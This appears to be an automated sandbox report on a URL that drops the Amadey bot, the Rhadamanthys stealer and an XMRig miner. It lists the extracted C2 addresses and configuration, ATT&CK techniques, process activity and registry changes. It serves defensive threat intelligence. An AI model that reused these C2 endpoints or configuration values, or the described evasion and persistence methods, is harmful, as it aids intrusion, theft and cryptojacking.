amadey | hxxps://yhesf[.]for[.]com[.]de/pzlxh

Analysis

max time kernel
250s
max time network
245s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-09-2024 02:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://yhesf.for.com.de/pzlxh

Score

10^/10

amadey rhadamanthys xmrig 3dae01 discovery evasion execution miner persistence stealer trojan upx

Malware Config

Extracted

Family

rhadamanthys

https://45.159.188.37:443/44194499adc4d2b753ee/gcj8ajmp.qnu3f

Extracted

Family

amadey

Version

4.41

Botnet

3dae01

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes

install_dir
239f17af5a
install_file
Hkbsse.exe
strings_key
91a6d9abcd7a774809c7ff7ced665178
url_paths
/hb9IvshS01/index.php

/hb9IvshS02/index.php

/hb9IvshS03/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

rhjryjyj.exe

description pid process target process

PID 6648 created 2600 6648 rhjryjyj.exe sihost.exe
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

description	pid	process	target process
PID 6648 created 2600	6648	rhjryjyj.exe	sihost.exe

XMRig Miner payload 9 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/6532-2510-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2512-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2511-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2509-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2508-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2506-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2505-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2518-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/6532-2519-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

5580 powershell.exe
6700 powershell.exe
4700 powershell.exe
5952 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
5580	powershell.exe
6700	powershell.exe
4700	powershell.exe
5952	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Launhcer.exeLauncher.exe3plugin29563Launcher.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	Launhcer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	3plugin29563
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	Launcher.exe

Executes dropped EXE 19 IoCs

Processes:

Launcher.exeLaunhcer.exeLauncher.exewget.exewinrar.exerhjryjyj.exewget.exewinrar.exe2plugin27724wget.exewinrar.exe3plugin29563Hkbsse.exeLauncher.exekuytqawknxye.exeLauncher.exeHkbsse.exeHkbsse.exeHkbsse.exe

pid	process
7104	Launcher.exe
5968	Launhcer.exe
5280	Launcher.exe
6232	wget.exe
5724	winrar.exe
6648	rhjryjyj.exe
6704	wget.exe
6968	winrar.exe
7136	2plugin27724
744	wget.exe
4396	winrar.exe
4420	3plugin29563
6256	Hkbsse.exe
2976	Launcher.exe
6216	kuytqawknxye.exe
6296	Launcher.exe
1396	Hkbsse.exe
5324	Hkbsse.exe
7108	Hkbsse.exe

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\services\2plugin27724	upx
behavioral1/memory/7136-1353-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral1/memory/6216-2465-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral1/memory/6532-2501-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2503-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2510-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2512-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2511-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2509-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2508-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2506-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2504-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2505-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2502-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2500-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2518-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/6532-2519-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service
T1102

Processes:

flow ioc

109 raw.githubusercontent.com
110 bitbucket.org
111 bitbucket.org
33 bitbucket.org
34 bitbucket.org
108 raw.githubusercontent.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

1144 powercfg.exe
2816 powercfg.exe
5712 powercfg.exe
7116 powercfg.exe
6928 powercfg.exe
3796 powercfg.exe
6832 powercfg.exe
2524 powercfg.exe

flow	ioc
109	raw.githubusercontent.com
110	bitbucket.org
111	bitbucket.org
33	bitbucket.org
34	bitbucket.org
108	raw.githubusercontent.com

pid	process
1144	powercfg.exe
2816	powercfg.exe
5712	powercfg.exe
7116	powercfg.exe
6928	powercfg.exe
3796	powercfg.exe
6832	powercfg.exe
2524	powercfg.exe

Drops file in System32 directory 4 IoCs

Processes:

2plugin27724powershell.exekuytqawknxye.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	2plugin27724
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

2plugin27724kuytqawknxye.exe

pid process

7136 2plugin27724
7136 2plugin27724
6216 kuytqawknxye.exe
6216 kuytqawknxye.exe

pid	process
7136	2plugin27724
7136	2plugin27724
6216	kuytqawknxye.exe
6216	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

kuytqawknxye.exe

description	pid	process	target process
PID 6216 set thread context of 6784	6216	kuytqawknxye.exe	conhost.exe
PID 6216 set thread context of 6532	6216	kuytqawknxye.exe	dwm.exe

Drops file in Windows directory 1 IoCs

Processes:

3plugin29563

description ioc process

File created C:\Windows\Tasks\Hkbsse.job 3plugin29563

description	ioc	process
File created	C:\Windows\Tasks\Hkbsse.job	3plugin29563

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
5748	sc.exe
744	sc.exe
5912	sc.exe
5600	sc.exe
5216	sc.exe
5588	sc.exe
1336	sc.exe
7132	sc.exe
4364	sc.exe
6448	sc.exe
5692	sc.exe
5736	sc.exe
1444	sc.exe
6176	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 25 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6876	6648	WerFault.exe	rhjryjyj.exe
5736	4420	WerFault.exe	3plugin29563
5552	4420	WerFault.exe	3plugin29563
5704	4420	WerFault.exe	3plugin29563
5460	4420	WerFault.exe	3plugin29563
5624	4420	WerFault.exe	3plugin29563
5680	4420	WerFault.exe	3plugin29563
4724	4420	WerFault.exe	3plugin29563
3784	4420	WerFault.exe	3plugin29563
1556	4420	WerFault.exe	3plugin29563
6200	4420	WerFault.exe	3plugin29563
7040	6256	WerFault.exe	Hkbsse.exe
5412	6256	WerFault.exe	Hkbsse.exe
6612	6256	WerFault.exe	Hkbsse.exe
4904	6256	WerFault.exe	Hkbsse.exe
5492	6256	WerFault.exe	Hkbsse.exe
5420	6256	WerFault.exe	Hkbsse.exe
6336	6256	WerFault.exe	Hkbsse.exe
6556	6256	WerFault.exe	Hkbsse.exe
6996	6256	WerFault.exe	Hkbsse.exe
6472	6256	WerFault.exe	Hkbsse.exe
6960	1396	WerFault.exe	Hkbsse.exe
3316	5324	WerFault.exe	Hkbsse.exe
6128	6256	WerFault.exe	Hkbsse.exe
2012	7108	WerFault.exe	Hkbsse.exe

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exewget.exeopenwith.exewinrar.execmd.exeLauncher.exepowershell.exeLaunhcer.exewinrar.exerhjryjyj.exewget.exeLauncher.exeLauncher.exeLauncher.exewinrar.exe3plugin29563Hkbsse.exewget.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhjryjyj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3plugin29563
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

wget.exewget.exewget.exe

pid process

6232 wget.exe
6704 wget.exe
744 wget.exe

pid	process
6232	wget.exe
6704	wget.exe
744	wget.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 50 IoCs

Processes:

powershell.exedwm.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	msedge.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Launcher.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
